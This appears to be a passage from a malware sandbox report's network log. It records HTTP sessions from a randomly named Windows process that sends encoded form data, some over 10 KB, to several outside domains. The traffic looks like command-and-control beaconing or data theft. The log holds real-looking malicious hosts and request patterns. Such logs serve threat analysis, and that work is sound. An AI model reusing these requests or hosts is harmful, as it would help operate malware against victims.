9B_ppt=GYeQ/2G62tc6Yt1TtL1yQ4rp9k/m6G/s5hF5o0EvC6XIzBTcUrBAeMqOn1jgDawyXgA9WeLXJykkLw2wexODRBLqQQuO8+Dm8PaJBkKOk4FJ66yKaBan77EItRIubME1Zn1nrGgu8mxGFhUcR7lK/qfvov2ePH3PmXJ8RnlTx5F8iSKnCSI1Q+EaulMajpc1WCETViBBoOO8bHwftcUp1GEqe00PhA0x9/4kX2tRmBhhlX+O2wOHUwG5MlHw3hmGokhYoEynYawlCBOX8jj2DEinj4k4tGbvbR5weE+hGJAd46lZbSUN7wZS4mXdzDEU+d4BOhlpJv8LSRDpPfvWC04jKIBJM4KC1z0tNvb8QJmCCZlSPldCneVkI9/Uoc5c6BKFJDP2HBKC5hvmiAZ1ChEUWO653TtxZXH4gc6uTgEYr5FSlQPOjBUwHRngLPqVl14aPWurWdzjVETfmMmD1QysshcQkmLWJSFiQbi2ge0a0l+89V0F5GVZp5aKKluFwnS+sFDQEkHtS2y1cjocA/kF8a4/bTBcqlmVN4hY3TqzkWkf7rzgrCLV2SigUDgCOdUi5w+8GZZZuBzV6eb7O79APIgcR+XzYJRywVIhGzHXMWksFMSlyokFfWJOE0v3PCqNfBoXdvcI5aoEz7oNnBRSf8+QKSh9EhpZ+hsDFktDhxjDx2hYxY00TK8QwH/RMv4s/BCQZUa5CDDUpksbL11OMMxsmEMFHOROiamnImE1L6DlLDiSvA78JphB1sVATU/WZD6csj4obseLWZrx0nwEeHzB+ohyLR2a2EjeZ/FthzgXqKgq2Ams4ZtuV5PjBo3Xd20jJRLlDRD4+rDtUhdJMYcg8WFRFY5naswJCUFgh2XCM3/u3KN40o8jBqtyzOxLFTChtgCIPz8lnRDqkgWvZUZCC/2IxVAHt6FmclysI4WG4/oKvtom+8foRwMFhltO6LfTgiLwM9Ue2P/kfe7FWxXh+jRMHgi3wUlwk7MbQ [TRUNCATED]
Dec 13, 2024 13:08:56.035886049 CET	73	IN	HTTP/1.1 405 Method Not Allowed content-length: 0 connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.4	50004	3.33.130.190	80	5580	C:\Program Files (x86)\GIWqUxABuwNFMqIjPARSMYHwWWpBRzkzeqHfVMDnlefWQFrmKIAqDhcRVgrtQhj\oCCZhsVsNwIIN.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 13:08:57.590099096 CET	511	OUT	GET /fhx4/?9B_ppt=La2w8Dit9+06W6UDzOpyWaSJwhDt0En/zF10s3Y0GLWWp3W5XYBJe4ay5kbJYoMqdVQ5UuPTPFY7LReVYSqnXR+zSVGbwszjyZbrKje2k/1r3Ly4XgGf/cA=&Sbv8I=RfPDYvIHtJXp8 HTTP/1.1 Host: www.tlcatlas.xyz Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-us Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)
Dec 13, 2024 13:08:58.686669111 CET	383	IN	HTTP/1.1 200 OK content-type: text/html date: Fri, 13 Dec 2024 12:08:58 GMT content-length: 262 connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 3f 39 42 5f 70 70 74 3d 4c 61 32 77 38 44 69 74 39 2b 30 36 57 36 55 44 7a 4f 70 79 57 61 53 4a 77 68 44 74 30 45 6e 2f 7a 46 31 30 73 33 59 30 47 4c 57 57 70 33 57 35 58 59 42 4a 65 34 61 79 35 6b 62 4a 59 6f 4d 71 64 56 51 35 55 75 50 54 50 46 59 37 4c 52 65 56 59 53 71 6e 58 52 2b 7a 53 56 47 62 77 73 7a 6a 79 5a 62 72 4b 6a 65 32 6b 2f 31 72 33 4c 79 34 58 67 47 66 2f 63 41 3d 26 53 62 76 38 49 3d 52 66 50 44 59 76 49 48 74 4a 58 70 38 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander?9B_ppt=La2w8Dit9+06W6UDzOpyWaSJwhDt0En/zF10s3Y0GLWWp3W5XYBJe4ay5kbJYoMqdVQ5UuPTPFY7LReVYSqnXR+zSVGbwszjyZbrKje2k/1r3Ly4XgGf/cA=&Sbv8I=RfPDYvIHtJXp8"}</script></head></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.4	50020	13.248.169.48	80	5580	C:\Program Files (x86)\GIWqUxABuwNFMqIjPARSMYHwWWpBRzkzeqHfVMDnlefWQFrmKIAqDhcRVgrtQhj\oCCZhsVsNwIIN.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 13:09:04.211534023 CET	761	OUT	POST /i7vz/ HTTP/1.1 Host: www.xphone.net Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-us Origin: http://www.xphone.net Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded Connection: close Content-Length: 203 Referer: http://www.xphone.net/i7vz/ User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2) Data Raw: 39 42 5f 70 70 74 3d 5a 71 66 56 6a 42 6c 68 75 71 50 63 35 56 54 47 6a 48 53 58 4c 45 42 4b 6c 6e 69 2f 4a 4c 4e 74 78 66 71 4a 4d 35 4f 6b 4f 6c 43 35 43 73 44 69 75 61 57 43 4d 57 58 56 63 56 33 44 4b 4b 41 5a 35 4f 6e 42 44 68 61 5a 67 68 77 78 4b 33 72 6d 6c 33 5a 37 68 39 6d 6c 61 51 4a 57 6a 54 31 56 68 46 31 37 41 53 67 64 51 51 6e 50 7a 4d 65 7a 75 39 4f 69 46 6a 4b 61 69 79 35 2f 65 2f 46 6d 34 78 2b 62 39 34 41 6b 44 6f 50 41 63 7a 74 2b 54 46 46 37 43 6c 46 34 62 56 6b 54 39 32 31 79 62 6f 50 78 78 6e 46 6c 4d 67 48 76 33 34 4a 77 36 51 47 70 79 51 68 44 34 65 4d 52 52 4d 62 5a 53 67 3d 3d Data Ascii: 9B_ppt=ZqfVjBlhuqPc5VTGjHSXLEBKlni/JLNtxfqJM5OkOlC5CsDiuaWCMWXVcV3DKKAZ5OnBDhaZghwxK3rml3Z7h9mlaQJWjT1VhF17ASgdQQnPzMezu9OiFjKaiy5/e/Fm4x+b94AkDoPAczt+TFF7ClF4bVkT921yboPxxnFlMgHv34Jw6QGpyQhD4eMRRMbZSg==
Dec 13, 2024 13:09:05.300121069 CET	73	IN	HTTP/1.1 405 Method Not Allowed content-length: 0 connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.4	50027	13.248.169.48	80	5580	C:\Program Files (x86)\GIWqUxABuwNFMqIjPARSMYHwWWpBRzkzeqHfVMDnlefWQFrmKIAqDhcRVgrtQhj\oCCZhsVsNwIIN.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 13:09:06.868469000 CET	781	OUT	POST /i7vz/ HTTP/1.1 Host: www.xphone.net Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-us Origin: http://www.xphone.net Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded Connection: close Content-Length: 223 Referer: http://www.xphone.net/i7vz/ User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2) Data Raw: 39 42 5f 70 70 74 3d 5a 71 66 56 6a 42 6c 68 75 71 50 63 37 31 44 47 6b 67 4f 58 41 45 42 46 37 33 69 2f 43 72 4d 6d 78 66 6d 4a 4d 34 36 30 4f 54 61 35 62 4e 7a 69 74 65 43 43 4c 57 58 56 54 46 33 47 45 71 41 53 35 4a 76 7a 44 6c 47 5a 67 68 6b 78 4b 33 62 6d 6d 45 77 4a 67 74 6d 64 57 77 4a 59 6e 54 31 56 68 46 31 37 41 53 30 37 51 51 2f 50 7a 2f 32 7a 75 63 4f 6c 62 7a 4b 5a 30 69 35 2f 4a 76 46 69 34 78 2b 31 39 39 5a 42 44 72 33 41 63 33 70 2b 64 30 46 38 59 31 46 36 59 6c 6c 61 34 48 5a 35 64 36 75 6d 33 42 56 30 44 42 33 38 37 65 45 71 72 68 6e 2b 67 51 46 77 6c 5a 46 6c 63 50 6d 51 4a 68 6f 56 54 30 31 44 61 35 65 4c 2f 2f 48 66 6d 70 6d 37 58 47 45 3d Data Ascii: 9B_ppt=ZqfVjBlhuqPc71DGkgOXAEBF73i/CrMmxfmJM460OTa5bNziteCCLWXVTF3GEqAS5JvzDlGZghkxK3bmmEwJgtmdWwJYnT1VhF17AS07QQ/Pz/2zucOlbzKZ0i5/JvFi4x+199ZBDr3Ac3p+d0F8Y1F6Ylla4HZ5d6um3BV0DB387eEqrhn+gQFwlZFlcPmQJhoVT01Da5eL//Hfmpm7XGE=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.4	50028	13.248.169.48	80	5580	C:\Program Files (x86)\GIWqUxABuwNFMqIjPARSMYHwWWpBRzkzeqHfVMDnlefWQFrmKIAqDhcRVgrtQhj\oCCZhsVsNwIIN.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 13:09:09.526329994 CET	10863	OUT	POST /i7vz/ HTTP/1.1 Host: www.xphone.net Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-us Origin: http://www.xphone.net Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded Connection: close Content-Length: 10303 Referer: http://www.xphone.net/i7vz/ User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2) Data Raw: 39 42 5f 70 70 74 3d 5a 71 66 56 6a 42 6c 68 75 71 50 63 37 31 44 47 6b 67 4f 58 41 45 42 46 37 33 69 2f 43 72 4d 6d 78 66 6d 4a 4d 34 36 30 4f 54 69 35 48 72 76 69 72 50 43 43 4b 57 58 56 56 31 33 48 45 71 41 31 35 49 4c 33 44 6c 4c 6d 67 6a 63 78 59 6b 54 6d 75 56 77 4a 71 74 6d 64 65 51 4a 5a 6a 54 31 36 68 42 52 33 41 53 6b 37 51 51 2f 50 7a 35 4b 7a 2b 64 4f 6c 5a 7a 4b 61 69 79 35 4e 65 2f 46 4f 34 31 53 44 39 38 49 30 41 61 58 41 63 54 4e 2b 66 47 39 38 41 6c 46 38 64 6c 6c 43 34 48 55 68 64 36 43 71 33 42 4a 65 44 42 44 38 72 71 52 6f 76 41 48 49 7a 6a 6c 76 79 4b 52 6d 61 39 32 4a 4f 68 63 2f 56 47 74 76 41 36 75 45 77 4e 75 6f 2f 59 47 49 4c 44 38 4a 63 33 35 43 42 7a 70 68 48 77 54 74 37 7a 5a 4b 4f 53 4a 61 79 2b 37 7a 43 78 54 6a 79 49 4a 55 69 7a 31 71 42 6e 2f 63 78 66 4e 6f 73 43 63 62 73 63 75 4b 56 2f 44 6e 54 73 74 58 43 61 6a 68 38 64 52 57 56 64 4a 50 45 57 75 63 4a 53 38 4d 76 56 68 39 59 6d 2b 2b 30 73 6b 32 4a 78 47 50 4a 46 75 4c 6d 49 41 54 72 53 6e 30 6e 7a 6e 77 34 68 6d [TRUNCATED] Data Ascii: 9B_ppt=ZqfVjBlhuqPc71DGkgOXAEBF73i/CrMmxfmJM460OTi5HrvirPCCKWXVV13HEqA15IL3DlLmgjcxYkTmuVwJqtmdeQJZjT16hBR3ASk7QQ/Pz5Kz+dOlZzKaiy5Ne/FO41SD98I0AaXAcTN+fG98AlF8dllC4HUhd6Cq3BJeDBD8rqRovAHIzjlvyKRma92JOhc/VGtvA6uEwNuo/YGILD8Jc35CBzphHwTt7zZKOSJay+7zCxTjyIJUiz1qBn/cxfNosCcbscuKV/DnTstXCajh8dRWVdJPEWucJS8MvVh9Ym++0sk2JxGPJFuLmIATrSn0nznw4hmVTuwns4YdoIo69c4Ipqu8zcBe6LR51XkBYI+G3PQ6+pdlNI53BWcNeK26V2qkuMXzxfD+COsWUd3nu1JDKzu8AUnYrPxpRZNlASBnbdvdYHXZd/IpgtTAp0BMXdmQTbmaZqA8anUCnmnhlOS3xDkb2rgHsg53699ZN2NGVtIPFlE8RY1E/UKLP+OWR5i90ED5MicNHgBV5MjusrQwt6S/UymkbvWCe2Dn58yjXBhTskiYhqAgQpx4V0A0MIB/fXGcd0AUZpmpiV6FIbuzWlEVZTDG3DWQrJYt8bmXAee+WVD3nXudelOTy++HeWyZQPGR22rNL5d1Y4m8SEQig0YElUmvunBiPSlWWpvjd0aaHfcaY6A3pHFQDq5T9GFzbYN29jK6PZspt9GMQDxMrqwp4VLgCZrkQlOwy54w8R1TA0PRLwmS6Ym/VDv6nnfBVeMw15PZcMl921ngNPHXMXDyeDCqDKHYzSqHzGyc2rOcLBrofgyK0kdDDKrqhnYLkqE+uNP2WNfEGpBiVpAnX1hftdyuLrPqdsKQjWlb7iKAiSJwxHll6Ib4dfo5GBNYMs62O8xJBs8Cy+EHXTWhQM47DExEWSuNGZk6Amid//sfLp1fDSsxDIo4X0hFM4gpQpwlF22kmVF+bXIfLPDZiebmhoGqPQghn68+7 [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.4	50029	13.248.169.48	80	5580	C:\Program Files (x86)\GIWqUxABuwNFMqIjPARSMYHwWWpBRzkzeqHfVMDnlefWQFrmKIAqDhcRVgrtQhj\oCCZhsVsNwIIN.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 13:09:12.176275015 CET	509	OUT	GET /i7vz/?Sbv8I=RfPDYvIHtJXp8&9B_ppt=Uo31g2cBlJ7Y51X9qiyWPllw2i3mGNMb8MW7X7OuPhPba7zW9vHCK1/tPALhEq4c3dLOMnOYn0E6ZXOZtUsElcj8T2RWijJqpTgaIG46XXD/8sezv8KfXnc= HTTP/1.1 Host: www.xphone.net Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-us Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)
Dec 13, 2024 13:09:16.285753965 CET	383	IN	HTTP/1.1 200 OK content-type: text/html date: Fri, 13 Dec 2024 12:09:16 GMT content-length: 262 connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 3f 53 62 76 38 49 3d 52 66 50 44 59 76 49 48 74 4a 58 70 38 26 39 42 5f 70 70 74 3d 55 6f 33 31 67 32 63 42 6c 4a 37 59 35 31 58 39 71 69 79 57 50 6c 6c 77 32 69 33 6d 47 4e 4d 62 38 4d 57 37 58 37 4f 75 50 68 50 62 61 37 7a 57 39 76 48 43 4b 31 2f 74 50 41 4c 68 45 71 34 63 33 64 4c 4f 4d 6e 4f 59 6e 30 45 36 5a 58 4f 5a 74 55 73 45 6c 63 6a 38 54 32 52 57 69 6a 4a 71 70 54 67 61 49 47 34 36 58 58 44 2f 38 73 65 7a 76 38 4b 66 58 6e 63 3d 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander?Sbv8I=RfPDYvIHtJXp8&9B_ppt=Uo31g2cBlJ7Y51X9qiyWPllw2i3mGNMb8MW7X7OuPhPba7zW9vHCK1/tPALhEq4c3dLOMnOYn0E6ZXOZtUsElcj8T2RWijJqpTgaIG46XXD/8sezv8KfXnc="}</script></head></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.4	50030	144.76.190.39	80	5580	C:\Program Files (x86)\GIWqUxABuwNFMqIjPARSMYHwWWpBRzkzeqHfVMDnlefWQFrmKIAqDhcRVgrtQhj\oCCZhsVsNwIIN.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 13:09:22.270004034 CET	788	OUT	POST /r67x/ HTTP/1.1 Host: www.basicreviews.online Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-us Origin: http://www.basicreviews.online Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded Connection: close Content-Length: 203 Referer: http://www.basicreviews.online/r67x/ User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2) Data Raw: 39 42 5f 70 70 74 3d 34 45 74 74 56 57 49 66 30 6c 63 50 36 7a 57 6e 48 78 61 37 5a 59 78 74 6d 46 64 70 68 54 30 41 30 69 4d 33 71 2b 66 36 75 5a 70 59 50 39 52 6f 6e 47 69 35 6b 38 57 32 53 4f 61 50 30 37 63 33 44 73 67 75 4e 79 70 5a 53 36 36 48 75 46 55 4e 59 6b 2f 65 4e 30 53 6d 6f 46 30 6d 49 32 48 73 33 30 6d 6c 41 53 39 62 6d 77 35 4a 56 4d 69 30 6a 79 49 73 4a 75 4f 6b 36 44 4a 73 48 61 4f 4d 4e 46 43 45 55 32 2f 33 7a 76 46 49 68 6c 6d 73 66 4c 33 42 53 38 55 45 78 77 32 5a 75 43 4b 30 48 34 35 59 33 69 4e 63 41 75 6a 31 59 57 37 57 72 38 31 4c 37 49 2b 37 6d 78 65 67 51 6c 46 77 65 51 3d 3d Data Ascii: 9B_ppt=4EttVWIf0lcP6zWnHxa7ZYxtmFdphT0A0iM3q+f6uZpYP9RonGi5k8W2SOaP07c3DsguNypZS66HuFUNYk/eN0SmoF0mI2Hs30mlAS9bmw5JVMi0jyIsJuOk6DJsHaOMNFCEU2/3zvFIhlmsfL3BS8UExw2ZuCK0H45Y3iNcAuj1YW7Wr81L7I+7mxegQlFweQ==
Dec 13, 2024 13:09:23.555135012 CET	1045	IN	HTTP/1.1 302 Found Connection: close content-type: text/html content-length: 771 date: Fri, 13 Dec 2024 12:09:23 GMT server: LiteSpeed cache-control: no-cache, no-store, must-revalidate, max-age=0 location: http://www.basicreviews.online/cgi-sys/suspendedpage.cgi Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 33 30 32 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 [TRUNCATED] Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 302 Found</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">302</h1><h2 style="margin-top:20px;font-size: 30px;">Found</h2><p>The document has been temporarily moved.</p></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.4	50031	144.76.190.39	80	5580	C:\Program Files (x86)\GIWqUxABuwNFMqIjPARSMYHwWWpBRzkzeqHfVMDnlefWQFrmKIAqDhcRVgrtQhj\oCCZhsVsNwIIN.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 13:09:24.934504986 CET	808	OUT	POST /r67x/ HTTP/1.1 Host: www.basicreviews.online Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-us Origin: http://www.basicreviews.online Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded Connection: close Content-Length: 223 Referer: http://www.basicreviews.online/r67x/ User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2) Data Raw: 39 42 5f 70 70 74 3d 34 45 74 74 56 57 49 66 30 6c 63 50 37 53 6d 6e 63 53 43 37 51 59 78 75 69 31 64 70 34 44 30 45 30 6a 77 33 71 36 76 71 75 76 5a 59 50 5a 56 6f 6b 48 69 35 6a 38 57 32 4b 65 61 4b 77 37 63 38 44 73 38 51 4e 32 68 5a 53 36 2b 48 75 46 6b 4e 5a 54 44 64 4d 6b 53 67 6b 6c 30 67 57 47 48 73 33 30 6d 6c 41 53 6f 54 6d 30 56 4a 55 38 53 30 6a 58 38 76 49 75 4f 6c 73 54 4a 73 44 61 4f 41 4e 46 43 6d 55 33 6a 64 7a 70 4a 49 68 6c 32 73 65 65 44 43 4c 73 55 65 2f 51 33 58 74 51 6e 78 48 6f 46 54 79 52 67 36 41 73 2f 7a 51 77 32 4d 36 4e 55 63 70 49 61 49 37 32 58 55 64 6d 34 35 46 55 79 48 77 4b 49 43 51 51 4a 77 64 37 61 4d 50 46 76 38 43 4e 4d 3d Data Ascii: 9B_ppt=4EttVWIf0lcP7SmncSC7QYxui1dp4D0E0jw3q6vquvZYPZVokHi5j8W2KeaKw7c8Ds8QN2hZS6+HuFkNZTDdMkSgkl0gWGHs30mlASoTm0VJU8S0jX8vIuOlsTJsDaOANFCmU3jdzpJIhl2seeDCLsUe/Q3XtQnxHoFTyRg6As/zQw2M6NUcpIaI72XUdm45FUyHwKICQQJwd7aMPFv8CNM=
Dec 13, 2024 13:09:26.190865040 CET	1045	IN	HTTP/1.1 302 Found Connection: close content-type: text/html content-length: 771 date: Fri, 13 Dec 2024 12:09:25 GMT server: LiteSpeed cache-control: no-cache, no-store, must-revalidate, max-age=0 location: http://www.basicreviews.online/cgi-sys/suspendedpage.cgi Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 33 30 32 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 [TRUNCATED] Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 302 Found</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">302</h1><h2 style="margin-top:20px;font-size: 30px;">Found</h2><p>The document has been temporarily moved.</p></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.4	50032	144.76.190.39	80	5580	C:\Program Files (x86)\GIWqUxABuwNFMqIjPARSMYHwWWpBRzkzeqHfVMDnlefWQFrmKIAqDhcRVgrtQhj\oCCZhsVsNwIIN.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 13:09:27.605433941 CET	10890	OUT	POST /r67x/ HTTP/1.1 Host: www.basicreviews.online Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-us Origin: http://www.basicreviews.online Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded Connection: close Content-Length: 10303 Referer: http://www.basicreviews.online/r67x/ User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2) Data Raw: 39 42 5f 70 70 74 3d 34 45 74 74 56 57 49 66 30 6c 63 50 37 53 6d 6e 63 53 43 37 51 59 78 75 69 31 64 70 34 44 30 45 30 6a 77 33 71 36 76 71 75 76 52 59 4f 73 42 6f 2b 67 32 35 69 38 57 32 44 2b 61 4c 77 37 63 62 44 73 30 63 4e 32 74 6e 53 34 32 48 68 45 45 4e 51 43 44 64 43 6b 53 67 35 56 30 6c 49 32 48 35 33 30 57 66 41 53 34 54 6d 30 56 4a 55 36 65 30 71 69 49 76 4b 75 4f 6b 36 44 4a 77 48 61 4f 73 4e 42 76 45 55 33 33 6e 77 5a 70 49 67 42 71 73 59 73 62 43 44 73 55 41 79 77 32 4b 74 51 72 36 48 72 77 71 79 51 56 66 41 75 6a 7a 56 33 66 6e 6c 2b 63 69 77 4a 79 4b 34 45 7a 77 46 6c 41 6b 63 55 75 6e 39 6f 6f 32 54 68 31 50 59 34 50 2b 64 41 6e 42 63 70 41 4a 4f 4f 4a 78 6c 4f 31 79 55 34 39 47 65 41 44 50 49 4d 7a 68 49 4b 31 53 6b 66 42 4e 46 32 54 77 34 74 39 6d 41 74 33 2f 6d 44 4e 43 69 6e 6b 7a 46 6e 31 37 79 35 36 33 32 55 68 32 6b 52 70 56 49 74 6b 5a 55 4f 61 6d 78 53 6c 48 51 65 4e 6f 39 43 51 61 74 69 57 34 52 49 5a 43 62 77 55 69 6a 6c 72 77 4b 45 69 4d 6d 35 79 2f 43 58 5a 73 2b 6e 42 [TRUNCATED] Data Ascii: 